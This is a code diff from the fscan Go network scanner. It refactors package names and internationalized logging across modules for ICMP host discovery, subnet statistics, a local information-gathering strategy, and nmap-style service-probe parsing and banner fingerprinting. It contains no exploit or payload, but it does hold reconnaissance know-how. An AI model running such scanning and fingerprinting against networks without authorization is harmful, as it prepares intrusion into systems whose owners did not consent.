common.LogInfo(i18n.GetText("target_alive", ip, protocol))
}
}
livewg.Done()
@ -96,8 +97,8 @@ func probeWithICMP(hostslist []string, chanHosts chan string) {
return
}
Common.LogError(Common.GetText("icmp_listen_failed", err))
Common.LogBase(Common.GetText("trying_no_listen_icmp"))
common.LogError(i18n.GetText("icmp_listen_failed", err))
common.LogBase(i18n.GetText("trying_no_listen_icmp"))
// 尝试无监听ICMP探测
conn2, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
@ -107,9 +108,9 @@ func probeWithICMP(hostslist []string, chanHosts chan string) {
return
}
Common.LogBase(Common.GetText("icmp_connect_failed", err))
Common.LogBase(Common.GetText("insufficient_privileges"))
Common.LogBase(Common.GetText("switching_to_ping"))
common.LogBase(i18n.GetText("icmp_connect_failed", err))
common.LogBase(i18n.GetText("insufficient_privileges"))
common.LogBase(i18n.GetText("switching_to_ping"))
// 降级使用ping探测
RunPing(hostslist, chanHosts)
@ -119,17 +120,17 @@ func probeWithICMP(hostslist []string, chanHosts chan string) {
func printAliveStats(hostslist []string) {
// 大规模扫描时输出 /16 网段统计
if len(hostslist) > 1000 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, true)
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, true)
for i := 0; i < len(arrTop); i++ {
Common.LogInfo(Common.GetText("subnet_16_alive", arrTop[i], arrLen[i]))
common.LogInfo(i18n.GetText("subnet_16_alive", arrTop[i], arrLen[i]))
}
}
// 输出 /24 网段统计
if len(hostslist) > 256 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, false)
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, false)
for i := 0; i < len(arrTop); i++ {
Common.LogInfo(Common.GetText("subnet_24_alive", arrTop[i], arrLen[i]))
common.LogInfo(i18n.GetText("subnet_24_alive", arrTop[i], arrLen[i]))
}
}
}

View File

@ -1,8 +1,8 @@
package Core
package core
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
"strings"
"sync"
)
@ -26,12 +26,12 @@ func (s *LocalScanStrategy) Description() string {
}
// Execute 执行本地扫描策略
func (s *LocalScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
Common.LogBase("执行本地信息收集")
func (s *LocalScanStrategy) Execute(info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
common.LogBase("执行本地信息收集")
// 验证插件配置
if err := validateScanPlugins(); err != nil {
Common.LogError(err.Error())
common.LogError(err.Error())
return
}
@ -46,24 +46,24 @@ func (s *LocalScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg
}
// PrepareTargets 准备本地扫描目标
func (s *LocalScanStrategy) PrepareTargets(info Common.HostInfo) []Common.HostInfo {
func (s *LocalScanStrategy) PrepareTargets(info common.HostInfo) []common.HostInfo {
// 本地扫描只使用传入的目标信息,不做额外处理
return []Common.HostInfo{info}
return []common.HostInfo{info}
}
// GetPlugins 获取本地扫描插件列表
func (s *LocalScanStrategy) GetPlugins() ([]string, bool) {
// 如果指定了特定插件且不是"all"
if Common.ScanMode != "" && Common.ScanMode != "all" {
requestedPlugins := parsePluginList(Common.ScanMode)
if common.ScanMode != "" && common.ScanMode != "all" {
requestedPlugins := parsePluginList(common.ScanMode)
if len(requestedPlugins) == 0 {
requestedPlugins = []string{Common.ScanMode}
requestedPlugins = []string{common.ScanMode}
}
// 验证插件是否存在不做Local类型过滤
var validPlugins []string
for _, name := range requestedPlugins {
if _, exists := Common.PluginManager[name]; exists {
if _, exists := common.PluginManager[name]; exists {
validPlugins = append(validPlugins, name)
}
}
@ -81,32 +81,32 @@ func (s *LocalScanStrategy) LogPluginInfo() {
// 如果是自定义模式,直接显示用户指定的插件
if isCustomMode {
Common.LogBase(fmt.Sprintf("本地模式: 使用指定插件: %s", strings.Join(allPlugins, ", ")))
common.LogBase(fmt.Sprintf("本地模式: 使用指定插件: %s", strings.Join(allPlugins, ", ")))
return
}
// 在自动模式下只显示Local类型的插件
var applicablePlugins []string
for _, pluginName := range allPlugins {
plugin, exists := Common.PluginManager[pluginName]
if exists && plugin.HasType(Common.PluginTypeLocal) {
plugin, exists := common.PluginManager[pluginName]
if exists && plugin.HasType(common.PluginTypeLocal) {
applicablePlugins = append(applicablePlugins, pluginName)
}
}
if len(applicablePlugins) > 0 {
Common.LogBase(fmt.Sprintf("本地模式: 使用本地插件: %s", strings.Join(applicablePlugins, ", ")))
common.LogBase(fmt.Sprintf("本地模式: 使用本地插件: %s", strings.Join(applicablePlugins, ", ")))
} else {
Common.LogBase("本地模式: 未找到可用的本地插件")
common.LogBase("本地模式: 未找到可用的本地插件")
}
}
// IsPluginApplicable 判断插件是否适用于本地扫描
func (s *LocalScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool {
func (s *LocalScanStrategy) IsPluginApplicable(plugin common.ScanPlugin, targetPort int, isCustomMode bool) bool {
// 自定义模式下运行所有明确指定的插件
if isCustomMode {
return true
}
// 非自定义模式下只运行Local类型插件
return plugin.HasType(Common.PluginTypeLocal)
return plugin.HasType(common.PluginTypeLocal)
}

View File

@ -1,8 +1,8 @@
package Core
package core
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
"strings"
)
@ -32,20 +32,20 @@ func parsePluginList(pluginStr string) []string {
// 验证扫描插件的有效性
func validateScanPlugins() error {
// 如果未指定扫描模式或使用All模式则无需验证
if Common.ScanMode == "" || Common.ScanMode == "all" {
if common.ScanMode == "" || common.ScanMode == "all" {
return nil
}
// 解析插件列表
plugins := parsePluginList(Common.ScanMode)
plugins := parsePluginList(common.ScanMode)
if len(plugins) == 0 {
plugins = []string{Common.ScanMode}
plugins = []string{common.ScanMode}
}
// 验证每个插件是否有效
var invalidPlugins []string
for _, plugin := range plugins {
if _, exists := Common.PluginManager[plugin]; !exists {
if _, exists := common.PluginManager[plugin]; !exists {
invalidPlugins = append(invalidPlugins, plugin)
}
}

View File

@ -1,10 +1,10 @@
package Core
package core
import (
_ "embed"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
"regexp"
"strconv"
"strings"
@ -65,39 +65,39 @@ type Extras struct {
}
func init() {
Common.LogDebug("开始初始化全局变量")
common.LogDebug("开始初始化全局变量")
v = VScan{} // 直接初始化VScan结构体
v.Init()
// 获取并检查 NULL 探测器
if nullProbe, ok := v.ProbesMapKName["NULL"]; ok {
Common.LogDebug(fmt.Sprintf("成功获取NULL探测器Data长度: %d", len(nullProbe.Data)))
common.LogDebug(fmt.Sprintf("成功获取NULL探测器Data长度: %d", len(nullProbe.Data)))
null = &nullProbe
} else {
Common.LogDebug("警告: 未找到NULL探测器")
common.LogDebug("警告: 未找到NULL探测器")
}
// 获取并检查 GenericLines 探测器
if commonProbe, ok := v.ProbesMapKName["GenericLines"]; ok {
Common.LogDebug(fmt.Sprintf("成功获取GenericLines探测器Data长度: %d", len(commonProbe.Data)))
common = &commonProbe
if genericProbe, ok := v.ProbesMapKName["GenericLines"]; ok {
common.LogDebug(fmt.Sprintf("成功获取GenericLines探测器Data长度: %d", len(genericProbe.Data)))
commonProbe = &genericProbe
} else {
Common.LogDebug("警告: 未找到GenericLines探测器")
common.LogDebug("警告: 未找到GenericLines探测器")
}
Common.LogDebug("全局变量初始化完成")
common.LogDebug("全局变量初始化完成")
}
// 解析指令语法,返回指令结构
func (p *Probe) getDirectiveSyntax(data string) (directive Directive) {
Common.LogDebug("开始解析指令语法,输入数据: " + data)
common.LogDebug("开始解析指令语法,输入数据: " + data)
directive = Directive{}
// 查找第一个空格的位置
blankIndex := strings.Index(data, " ")
if blankIndex == -1 {
Common.LogDebug("未找到空格分隔符")
common.LogDebug("未找到空格分隔符")
return directive
}
@ -112,7 +112,7 @@ func (p *Probe) getDirectiveSyntax(data string) (directive Directive) {
directive.Delimiter = delimiter
directive.DirectiveStr = directiveStr
Common.LogDebug(fmt.Sprintf("指令解析结果: 名称=%s, 标志=%s, 分隔符=%s, 内容=%s",
common.LogDebug(fmt.Sprintf("指令解析结果: 名称=%s, 标志=%s, 分隔符=%s, 内容=%s",
directiveName, Flag, delimiter, directiveStr))
return directive
@ -120,7 +120,7 @@ func (p *Probe) getDirectiveSyntax(data string) (directive Directive) {
// 解析探测器信息
func (p *Probe) parseProbeInfo(probeStr string) {
Common.LogDebug("开始解析探测器信息,输入字符串: " + probeStr)
common.LogDebug("开始解析探测器信息,输入字符串: " + probeStr)
// 提取协议和其他信息
proto := probeStr[:4]
@ -129,14 +129,14 @@ func (p *Probe) parseProbeInfo(probeStr string) {
// 验证协议类型
if !(proto == "TCP " || proto == "UDP ") {
errMsg := "探测器协议必须是 TCP 或 UDP"
Common.LogDebug("错误: " + errMsg)
common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
// 验证其他信息不为空
if len(other) == 0 {
errMsg := "nmap-service-probes - 探测器名称无效"
Common.LogDebug("错误: " + errMsg)
common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
@ -148,13 +148,13 @@ func (p *Probe) parseProbeInfo(probeStr string) {
p.Data = strings.Split(directive.DirectiveStr, directive.Delimiter)[0]
p.Protocol = strings.ToLower(strings.TrimSpace(proto))
Common.LogDebug(fmt.Sprintf("探测器解析完成: 名称=%s, 数据=%s, 协议=%s",
common.LogDebug(fmt.Sprintf("探测器解析完成: 名称=%s, 数据=%s, 协议=%s",
p.Name, p.Data, p.Protocol))
}
// 从字符串解析探测器信息
func (p *Probe) fromString(data string) error {
Common.LogDebug("开始解析探测器字符串数据")
common.LogDebug("开始解析探测器字符串数据")
var err error
// 预处理数据
@ -170,12 +170,12 @@ func (p *Probe) fromString(data string) error {
// 解析匹配规则和其他配置
var matchs []Match
for _, line := range lines {
Common.LogDebug("处理行: " + line)
common.LogDebug("处理行: " + line)
switch {
case strings.HasPrefix(line, "match "):
match, err := p.getMatch(line)
if err != nil {
Common.LogDebug("解析match失败: " + err.Error())
common.LogDebug("解析match失败: " + err.Error())
continue
}
matchs = append(matchs, match)
@ -183,7 +183,7 @@ func (p *Probe) fromString(data string) error {
case strings.HasPrefix(line, "softmatch "):
softMatch, err := p.getSoftMatch(line)
if err != nil {
Common.LogDebug("解析softmatch失败: " + err.Error())
common.LogDebug("解析softmatch失败: " + err.Error())
continue
}
matchs = append(matchs, softMatch)
@ -208,59 +208,59 @@ func (p *Probe) fromString(data string) error {
}
}
p.Matchs = &matchs
Common.LogDebug(fmt.Sprintf("解析完成,共有 %d 个匹配规则", len(matchs)))
common.LogDebug(fmt.Sprintf("解析完成,共有 %d 个匹配规则", len(matchs)))
return err
}
// 解析端口配置
func (p *Probe) parsePorts(data string) {
p.Ports = data[len("ports")+1:]
Common.LogDebug("解析端口: " + p.Ports)
common.LogDebug("解析端口: " + p.Ports)
}
// 解析SSL端口配置
func (p *Probe) parseSSLPorts(data string) {
p.SSLPorts = data[len("sslports")+1:]
Common.LogDebug("解析SSL端口: " + p.SSLPorts)
common.LogDebug("解析SSL端口: " + p.SSLPorts)
}
// 解析总等待时间
func (p *Probe) parseTotalWaitMS(data string) {
waitMS, err := strconv.Atoi(strings.TrimSpace(data[len("totalwaitms")+1:]))
if err != nil {
Common.LogDebug("解析总等待时间失败: " + err.Error())
common.LogDebug("解析总等待时间失败: " + err.Error())
return
}
p.TotalWaitMS = waitMS
Common.LogDebug(fmt.Sprintf("总等待时间: %d ms", waitMS))
common.LogDebug(fmt.Sprintf("总等待时间: %d ms", waitMS))
}
// 解析TCP包装等待时间
func (p *Probe) parseTCPWrappedMS(data string) {
wrappedMS, err := strconv.Atoi(strings.TrimSpace(data[len("tcpwrappedms")+1:]))
if err != nil {
Common.LogDebug("解析TCP包装等待时间失败: " + err.Error())
common.LogDebug("解析TCP包装等待时间失败: " + err.Error())
return
}
p.TCPWrappedMS = wrappedMS
Common.LogDebug(fmt.Sprintf("TCP包装等待时间: %d ms", wrappedMS))
common.LogDebug(fmt.Sprintf("TCP包装等待时间: %d ms", wrappedMS))
}
// 解析稀有度
func (p *Probe) parseRarity(data string) {
rarity, err := strconv.Atoi(strings.TrimSpace(data[len("rarity")+1:]))
if err != nil {
Common.LogDebug("解析稀有度失败: " + err.Error())
common.LogDebug("解析稀有度失败: " + err.Error())
return
}
p.Rarity = rarity
Common.LogDebug(fmt.Sprintf("稀有度: %d", rarity))
common.LogDebug(fmt.Sprintf("稀有度: %d", rarity))
}
// 解析回退配置
func (p *Probe) parseFallback(data string) {
p.Fallback = data[len("fallback")+1:]
Common.LogDebug("回退配置: " + p.Fallback)
common.LogDebug("回退配置: " + p.Fallback)
}
// 判断是否为十六进制编码
@ -300,7 +300,7 @@ func isOtherEscapeCode(b []byte) bool {
// 从内容解析探测器规则
func (v *VScan) parseProbesFromContent(content string) {
Common.LogDebug("开始解析探测器规则文件内容")
common.LogDebug("开始解析探测器规则文件内容")
var probes []Probe
var lines []string
@ -317,7 +317,7 @@ func (v *VScan) parseProbesFromContent(content string) {
// 验证文件内容
if len(lines) == 0 {
errMsg := "读取nmap-service-probes文件失败: 内容为空"
Common.LogDebug("错误: " + errMsg)
common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
@ -329,7 +329,7 @@ func (v *VScan) parseProbesFromContent(content string) {
}
if excludeCount > 1 {
errMsg := "nmap-service-probes文件中只允许有一个Exclude指令"
Common.LogDebug("错误: " + errMsg)
common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
}
@ -338,7 +338,7 @@ func (v *VScan) parseProbesFromContent(content string) {
firstLine := lines[0]
if !(strings.HasPrefix(firstLine, "Exclude ") || strings.HasPrefix(firstLine, "Probe ")) {
errMsg := "解析错误: 首行必须以\"Probe \"或\"Exclude \"开头"
Common.LogDebug("错误: " + errMsg)
common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
@ -346,7 +346,7 @@ func (v *VScan) parseProbesFromContent(content string) {
if excludeCount == 1 {
v.Exclude = firstLine[len("Exclude")+1:]
lines = lines[1:]
Common.LogDebug("解析到Exclude规则: " + v.Exclude)
common.LogDebug("解析到Exclude规则: " + v.Exclude)
}
// 合并内容并分割探测器
@ -357,59 +357,59 @@ func (v *VScan) parseProbesFromContent(content string) {
for _, probePart := range probeParts {
probe := Probe{}
if err := probe.fromString(probePart); err != nil {
Common.LogDebug(fmt.Sprintf("解析探测器失败: %v", err))
common.LogDebug(fmt.Sprintf("解析探测器失败: %v", err))
continue
}
probes = append(probes, probe)
}
v.AllProbes = probes
Common.LogDebug(fmt.Sprintf("成功解析 %d 个探测器规则", len(probes)))
common.LogDebug(fmt.Sprintf("成功解析 %d 个探测器规则", len(probes)))
}
// 将探测器转换为名称映射
func (v *VScan) parseProbesToMapKName() {
Common.LogDebug("开始构建探测器名称映射")
common.LogDebug("开始构建探测器名称映射")
v.ProbesMapKName = map[string]Probe{}
for _, probe := range v.AllProbes {
v.ProbesMapKName[probe.Name] = probe
Common.LogDebug("添加探测器映射: " + probe.Name)
common.LogDebug("添加探测器映射: " + probe.Name)
}
}
// 设置使用的探测器
func (v *VScan) SetusedProbes() {
Common.LogDebug("开始设置要使用的探测器")
common.LogDebug("开始设置要使用的探测器")
for _, probe := range v.AllProbes {
if strings.ToLower(probe.Protocol) == "tcp" {
if probe.Name == "SSLSessionReq" {
Common.LogDebug("跳过 SSLSessionReq 探测器")
common.LogDebug("跳过 SSLSessionReq 探测器")
continue
}
v.Probes = append(v.Probes, probe)
Common.LogDebug("添加TCP探测器: " + probe.Name)
common.LogDebug("添加TCP探测器: " + probe.Name)
// 特殊处理TLS会话请求
if probe.Name == "TLSSessionReq" {
sslProbe := v.ProbesMapKName["SSLSessionReq"]
v.Probes = append(v.Probes, sslProbe)
Common.LogDebug("为TLSSessionReq添加SSL探测器")
common.LogDebug("为TLSSessionReq添加SSL探测器")
}
} else {
v.UdpProbes = append(v.UdpProbes, probe)
Common.LogDebug("添加UDP探测器: " + probe.Name)
common.LogDebug("添加UDP探测器: " + probe.Name)
}
}
Common.LogDebug(fmt.Sprintf("探测器设置完成TCP: %d个, UDP: %d个",
common.LogDebug(fmt.Sprintf("探测器设置完成TCP: %d个, UDP: %d个",
len(v.Probes), len(v.UdpProbes)))
}
// 解析match指令获取匹配规则
func (p *Probe) getMatch(data string) (match Match, err error) {
Common.LogDebug("开始解析match指令" + data)
common.LogDebug("开始解析match指令" + data)
match = Match{}
// 提取match文本并解析指令语法
@ -428,14 +428,14 @@ func (p *Probe) getMatch(data string) (match Match, err error) {
// 解码并编译正则表达式
patternUnescaped, decodeErr := DecodePattern(pattern)
if decodeErr != nil {
Common.LogDebug("解码pattern失败: " + decodeErr.Error())
common.LogDebug("解码pattern失败: " + decodeErr.Error())
return match, decodeErr
}
patternUnescapedStr := string([]rune(string(patternUnescaped)))
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
if compileErr != nil {
Common.LogDebug("编译正则表达式失败: " + compileErr.Error())
common.LogDebug("编译正则表达式失败: " + compileErr.Error())
return match, compileErr
}
@ -445,14 +445,14 @@ func (p *Probe) getMatch(data string) (match Match, err error) {
match.PatternCompiled = patternCompiled
match.VersionInfo = versionInfo
Common.LogDebug(fmt.Sprintf("解析match成功: 服务=%s, Pattern=%s",
common.LogDebug(fmt.Sprintf("解析match成功: 服务=%s, Pattern=%s",
match.Service, match.Pattern))
return match, nil
}
// 解析softmatch指令获取软匹配规则
func (p *Probe) getSoftMatch(data string) (softMatch Match, err error) {
Common.LogDebug("开始解析softmatch指令" + data)
common.LogDebug("开始解析softmatch指令" + data)
softMatch = Match{IsSoft: true}
// 提取softmatch文本并解析指令语法
@ -471,14 +471,14 @@ func (p *Probe) getSoftMatch(data string) (softMatch Match, err error) {
// 解码并编译正则表达式
patternUnescaped, decodeErr := DecodePattern(pattern)
if decodeErr != nil {
Common.LogDebug("解码pattern失败: " + decodeErr.Error())
common.LogDebug("解码pattern失败: " + decodeErr.Error())
return softMatch, decodeErr
}
patternUnescapedStr := string([]rune(string(patternUnescaped)))
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
if compileErr != nil {
Common.LogDebug("编译正则表达式失败: " + compileErr.Error())
common.LogDebug("编译正则表达式失败: " + compileErr.Error())
return softMatch, compileErr
}
@ -488,14 +488,14 @@ func (p *Probe) getSoftMatch(data string) (softMatch Match, err error) {
softMatch.PatternCompiled = patternCompiled
softMatch.VersionInfo = versionInfo
Common.LogDebug(fmt.Sprintf("解析softmatch成功: 服务=%s, Pattern=%s",
common.LogDebug(fmt.Sprintf("解析softmatch成功: 服务=%s, Pattern=%s",
softMatch.Service, softMatch.Pattern))
return softMatch, nil
}
// 解码模式字符串,处理转义序列
func DecodePattern(s string) ([]byte, error) {
Common.LogDebug("开始解码pattern: " + s)
common.LogDebug("开始解码pattern: " + s)
sByteOrigin := []byte(s)
// 处理十六进制、八进制和结构化转义序列
@ -545,7 +545,7 @@ func DecodePattern(s string) ([]byte, error) {
return match
})
Common.LogDebug("pattern解码完成")
common.LogDebug("pattern解码完成")
return sByteDec2, nil
}
@ -576,7 +576,7 @@ type Target struct {
// ContainsPort 检查指定端口是否在探测器的端口范围内
func (p *Probe) ContainsPort(testPort int) bool {
Common.LogDebug(fmt.Sprintf("检查端口 %d 是否在探测器端口范围内: %s", testPort, p.Ports))
common.LogDebug(fmt.Sprintf("检查端口 %d 是否在探测器端口范围内: %s", testPort, p.Ports))
// 检查单个端口
ports := strings.Split(p.Ports, ",")
@ -584,7 +584,7 @@ func (p *Probe) ContainsPort(testPort int) bool {
port = strings.TrimSpace(port)
cmpPort, err := strconv.Atoi(port)
if err == nil && testPort == cmpPort {
Common.LogDebug(fmt.Sprintf("端口 %d 匹配单个端口", testPort))
common.LogDebug(fmt.Sprintf("端口 %d 匹配单个端口", testPort))
return true
}
}
@ -595,7 +595,7 @@ func (p *Probe) ContainsPort(testPort int) bool {
if strings.Contains(port, "-") {
portRange := strings.Split(port, "-")
if len(portRange) != 2 {
Common.LogDebug("无效的端口范围格式: " + port)
common.LogDebug("无效的端口范围格式: " + port)
continue
}
@ -603,18 +603,18 @@ func (p *Probe) ContainsPort(testPort int) bool {
end, err2 := strconv.Atoi(strings.TrimSpace(portRange[1]))
if err1 != nil || err2 != nil {
Common.LogDebug(fmt.Sprintf("解析端口范围失败: %s", port))
common.LogDebug(fmt.Sprintf("解析端口范围失败: %s", port))
continue
}
if testPort >= start && testPort <= end {
Common.LogDebug(fmt.Sprintf("端口 %d 在范围 %d-%d 内", testPort, start, end))
common.LogDebug(fmt.Sprintf("端口 %d 在范围 %d-%d 内", testPort, start, end))
return true
}
}
}
Common.LogDebug(fmt.Sprintf("端口 %d 不在探测器端口范围内", testPort))
common.LogDebug(fmt.Sprintf("端口 %d 不在探测器端口范围内", testPort))
return false
}
@ -626,7 +626,7 @@ func (m *Match) MatchPattern(response []byte) bool {
if len(foundItems) > 0 {
m.FoundItems = foundItems
Common.LogDebug(fmt.Sprintf("匹配成功,找到 %d 个匹配项", len(foundItems)))
common.LogDebug(fmt.Sprintf("匹配成功,找到 %d 个匹配项", len(foundItems)))
return true
}
@ -635,7 +635,7 @@ func (m *Match) MatchPattern(response []byte) bool {
// ParseVersionInfo 解析版本信息并返回额外信息结构
func (m *Match) ParseVersionInfo(response []byte) Extras {
Common.LogDebug("开始解析版本信息")
common.LogDebug("开始解析版本信息")
var extras = Extras{}
// 替换版本信息中的占位符
@ -645,7 +645,7 @@ func (m *Match) ParseVersionInfo(response []byte) Extras {
dollarName := "$" + strconv.Itoa(index+1)
versionInfo = strings.Replace(versionInfo, dollarName, value, -1)
}
Common.LogDebug("替换后的版本信息: " + versionInfo)
common.LogDebug("替换后的版本信息: " + versionInfo)
// 定义解析函数
parseField := func(field, pattern string) string {
@ -658,7 +658,7 @@ func (m *Match) ParseVersionInfo(response []byte) Extras {
if strings.Contains(versionInfo, pattern) {
regex := regexp.MustCompile(p)
if matches := regex.FindStringSubmatch(versionInfo); len(matches) > 1 {
Common.LogDebug(fmt.Sprintf("解析到%s: %s", field, matches[1]))
common.LogDebug(fmt.Sprintf("解析到%s: %s", field, matches[1]))
return matches[1]
}
}
@ -685,7 +685,7 @@ func (m *Match) ParseVersionInfo(response []byte) Extras {
} else {
extras.CPE = cpeName[0]
}
Common.LogDebug("解析到CPE: " + extras.CPE)
common.LogDebug("解析到CPE: " + extras.CPE)
break
}
}
@ -696,7 +696,7 @@ func (m *Match) ParseVersionInfo(response []byte) Extras {
// ToMap 将 Extras 转换为 map[string]string
func (e *Extras) ToMap() map[string]string {
Common.LogDebug("开始转换Extras为Map")
common.LogDebug("开始转换Extras为Map")
result := make(map[string]string)
// 定义字段映射
@ -714,21 +714,21 @@ func (e *Extras) ToMap() map[string]string {
for key, value := range fields {
if value != "" {
result[key] = value
Common.LogDebug(fmt.Sprintf("添加字段 %s: %s", key, value))
common.LogDebug(fmt.Sprintf("添加字段 %s: %s", key, value))
}
}
Common.LogDebug(fmt.Sprintf("转换完成,共有 %d 个字段", len(result)))
common.LogDebug(fmt.Sprintf("转换完成,共有 %d 个字段", len(result)))
return result
}
func DecodeData(s string) ([]byte, error) {
if len(s) == 0 {
Common.LogDebug("输入数据为空")
common.LogDebug("输入数据为空")
return nil, fmt.Errorf("empty input")
}
Common.LogDebug(fmt.Sprintf("开始解码数据,长度: %d, 内容: %q", len(s), s))
common.LogDebug(fmt.Sprintf("开始解码数据,长度: %d, 内容: %q", len(s), s))
sByteOrigin := []byte(s)
// 处理十六进制、八进制和结构化转义序列
@ -770,7 +770,7 @@ func DecodeData(s string) ([]byte, error) {
return []byte{uint8(byteNum)}
}
Common.LogDebug(fmt.Sprintf("无法识别的转义序列: %s", string(match)))
common.LogDebug(fmt.Sprintf("无法识别的转义序列: %s", string(match)))
return match
})
@ -787,35 +787,35 @@ func DecodeData(s string) ([]byte, error) {
})
if len(sByteDec2) == 0 {
Common.LogDebug("解码后数据为空")
common.LogDebug("解码后数据为空")
return nil, fmt.Errorf("decoded data is empty")
}
Common.LogDebug(fmt.Sprintf("解码完成,结果长度: %d, 内容: %x", len(sByteDec2), sByteDec2))
common.LogDebug(fmt.Sprintf("解码完成,结果长度: %d, 内容: %x", len(sByteDec2), sByteDec2))
return sByteDec2, nil
}
// GetAddress 获取目标的完整地址IP:端口)
func (t *Target) GetAddress() string {
addr := t.IP + ":" + strconv.Itoa(t.Port)
Common.LogDebug("获取目标地址: " + addr)
common.LogDebug("获取目标地址: " + addr)
return addr
}
// trimBanner 处理和清理横幅数据
func trimBanner(buf []byte) string {
Common.LogDebug("开始处理横幅数据")
common.LogDebug("开始处理横幅数据")
bufStr := string(buf)
// 特殊处理SMB协议
if strings.Contains(bufStr, "SMB") {
banner := hex.EncodeToString(buf)
if len(banner) > 0xa+6 && banner[0xa:0xa+6] == "534d42" { // "SMB" in hex
Common.LogDebug("检测到SMB协议数据")
common.LogDebug("检测到SMB协议数据")
plain := banner[0xa2:]
data, err := hex.DecodeString(plain)
if err != nil {
Common.LogDebug("SMB数据解码失败: " + err.Error())
common.LogDebug("SMB数据解码失败: " + err.Error())
return bufStr
}
@ -844,7 +844,7 @@ func trimBanner(buf []byte) string {
}
smbBanner := fmt.Sprintf("hostname: %s domain: %s", hostname, domain)
Common.LogDebug("SMB横幅: " + smbBanner)
common.LogDebug("SMB横幅: " + smbBanner)
return smbBanner
}
}
@ -863,15 +863,15 @@ func trimBanner(buf []byte) string {
re := regexp.MustCompile(`\s{2,}`)
src = re.ReplaceAllString(src, ".")
result := strings.TrimSpace(src)
Common.LogDebug("处理后的横幅: " + result)
common.LogDebug("处理后的横幅: " + result)
return result
}
// Init 初始化VScan对象
func (v *VScan) Init() {
Common.LogDebug("开始初始化VScan")
common.LogDebug("开始初始化VScan")
v.parseProbesFromContent(ProbeString)
v.parseProbesToMapKName()
v.SetusedProbes()
Common.LogDebug("VScan初始化完成")
common.LogDebug("VScan初始化完成")
}

View File

@ -1,8 +1,8 @@
package Core
package core
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
"io"
"net"
"strings"
@ -52,8 +52,8 @@ type PortInfoScanner struct {
// 预定义的基础探测器
var (
null = new(Probe) // 空探测器,用于基本协议识别
common = new(Probe) // 通用探测器,用于常见服务识别
null = new(Probe) // 空探测器,用于基本协议识别
commonProbe = new(Probe) // 通用探测器,用于常见服务识别
)
// NewPortInfoScanner 创建新的端口服务识别器实例
@ -76,7 +76,7 @@ func NewPortInfoScanner(addr string, port int, conn net.Conn, timeout time.Durat
// Identify 执行服务识别,返回识别结果
func (s *PortInfoScanner) Identify() (*ServiceInfo, error) {
Common.LogDebug(fmt.Sprintf("开始识别服务 %s:%d", s.Address, s.Port))
common.LogDebug(fmt.Sprintf("开始识别服务 %s:%d", s.Address, s.Port))
s.info.PortInfo()
// 构造返回结果
@ -92,7 +92,7 @@ func (s *PortInfoScanner) Identify() (*ServiceInfo, error) {
serviceInfo.Extras[k] = v
}
Common.LogDebug(fmt.Sprintf("服务识别完成 %s:%d => %s", s.Address, s.Port, serviceInfo.Name))
common.LogDebug(fmt.Sprintf("服务识别完成 %s:%d => %s", s.Address, s.Port, serviceInfo.Name))
return serviceInfo, nil
}
@ -100,41 +100,41 @@ func (s *PortInfoScanner) Identify() (*ServiceInfo, error) {
func (i *Info) PortInfo() {
// 1. 首先尝试读取服务的初始响应
if response, err := i.Read(); err == nil && len(response) > 0 {
Common.LogDebug(fmt.Sprintf("收到初始响应: %d 字节", len(response)))
common.LogDebug(fmt.Sprintf("收到初始响应: %d 字节", len(response)))
// 使用基础探测器检查响应
Common.LogDebug("尝试使用基础探测器(null/common)检查响应")
if i.tryProbes(response, []*Probe{null, common}) {
Common.LogDebug("基础探测器匹配成功")
common.LogDebug("尝试使用基础探测器(null/common)检查响应")
if i.tryProbes(response, []*Probe{null, commonProbe}) {
common.LogDebug("基础探测器匹配成功")
return
}
Common.LogDebug("基础探测器未匹配")
common.LogDebug("基础探测器未匹配")
} else if err != nil {
Common.LogDebug(fmt.Sprintf("读取初始响应失败: %v", err))
common.LogDebug(fmt.Sprintf("读取初始响应失败: %v", err))
}
// 记录已使用的探测器,避免重复使用
usedProbes := make(map[string]struct{})
// 2. 尝试使用端口专用探测器
Common.LogDebug(fmt.Sprintf("尝试使用端口 %d 的专用探测器", i.Port))
common.LogDebug(fmt.Sprintf("尝试使用端口 %d 的专用探测器", i.Port))
if i.processPortMapProbes(usedProbes) {
Common.LogDebug("端口专用探测器匹配成功")
common.LogDebug("端口专用探测器匹配成功")
return
}
Common.LogDebug("端口专用探测器未匹配")
common.LogDebug("端口专用探测器未匹配")
// 3. 使用默认探测器列表
Common.LogDebug("尝试使用默认探测器列表")
common.LogDebug("尝试使用默认探测器列表")
if i.processDefaultProbes(usedProbes) {
Common.LogDebug("默认探测器匹配成功")
common.LogDebug("默认探测器匹配成功")
return
}
Common.LogDebug("默认探测器未匹配")
common.LogDebug("默认探测器未匹配")
// 4. 如果所有探测都失败,标记为未知服务
if strings.TrimSpace(i.Result.Service.Name) == "" {
Common.LogDebug("未识别出服务,标记为 unknown")
common.LogDebug("未识别出服务,标记为 unknown")
i.Result.Service.Name = "unknown"
}
}
@ -142,10 +142,10 @@ func (i *Info) PortInfo() {
// tryProbes 尝试使用指定的探测器列表检查响应
func (i *Info) tryProbes(response []byte, probes []*Probe) bool {
for _, probe := range probes {
Common.LogDebug(fmt.Sprintf("尝试探测器: %s", probe.Name))
common.LogDebug(fmt.Sprintf("尝试探测器: %s", probe.Name))
i.GetInfo(response, probe)
if i.Found {
